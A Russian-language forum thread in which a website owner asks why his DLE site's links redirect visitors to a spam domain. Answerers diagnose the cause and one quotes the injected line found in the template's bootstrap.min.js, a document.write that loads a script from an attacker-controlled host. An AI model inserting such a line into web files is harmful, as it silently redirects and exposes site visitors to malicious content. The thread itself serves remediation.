Вирус на сайте или у юзера?

Question

[BoBoeing]

Здравствуйте! Опишу проблему... Сайт на DLE - ogfb.od.ua. Появился какой-то вирус, создающий переходы из кнопок меню и прочих ссылок на страницах сайта на сайт сайт https://xn-----6kcabed6aal0b2ajfgaf0a5b.gq/, при чём происходит это совершенно спонтанно постоянно с рандомных ссылок
Проверка хостинга на вирусы не дала результатов. В файлах тоже ничего не нашёл.
Подскажите как пофиксить, может кто-то сталкивался с подобным. Это вирус какой-то внутри сайта? Или же на стороне пользователей? Потому как у меня на компе не проявляется, но постоянно получаю жалобы от других людей по поводу переходов на этот сайт. Фейсбук и инстаграм тоже банят любые ссылки с сайта ogfb.od.ua.
Подскажите как это пофиксить.

Comments

[Марти Макфлай]

У ссылки именно href подменяется или после клика перенаправление идёт?

Answer 1

[Apache86]

У вас вирус в файле
ogfb.od.ua/templates/paradox2/js/bootstrap.min.js

Comments

[Apache86]

document.write('<script type="text/javascript" src="https://bootstrapmin.website/lib.js"></script>');

[BoBoeing]

Apache86, спасибо! Заменил файл.

Answer 2

[sferos]

Ваша проверка может ничего не дать если сами ссылки заменены. Проверьте, файлы или базу, откуда берутся первоначальные ссылки, какой там указан href. Если href один, а клик ведет на другой, тогда где-то в скриптах отслеживается событие и происходит перенаправление. Тогда проверяйте js.

Answer 3

[lamer350]

Вирус - это вредоносная программа, антивирус - ищет по базе совпадения кода. Вирусам постоянно обновляют код чтобы их не засекали антивирусы хD Это как поиск преступников по отпечаткам, найти можно только если уже привлекался...
Потому нет инструкции которая на 100% даст вам результат. Возможно этот код вообще оставил вам разработчик который делал сайт так как вы ему не оплатили работу, либо вы скачали nulled шаблон, а теперь хотите правду отыскать? Наймите на фрилансе специалиста по безопасности и он найдет причину. То что вы получили ен одну жалобу уже как бы свидетельствует что проблема в сайте.

Answer 4

[sayapinant]

Я однажды с подобным столкнулся. Не мог понять, почему мне приходят сообщения о вирусе с моего сайта. При обращении в ТП моего хостинг-провайдера, выяснилось, что домен был украден. Как? Не смогли ответить. И вирус попал благодаря этим деятелям. Я потом все исправил, но зато получил хороший урок на будущее. Может, и у вас так же?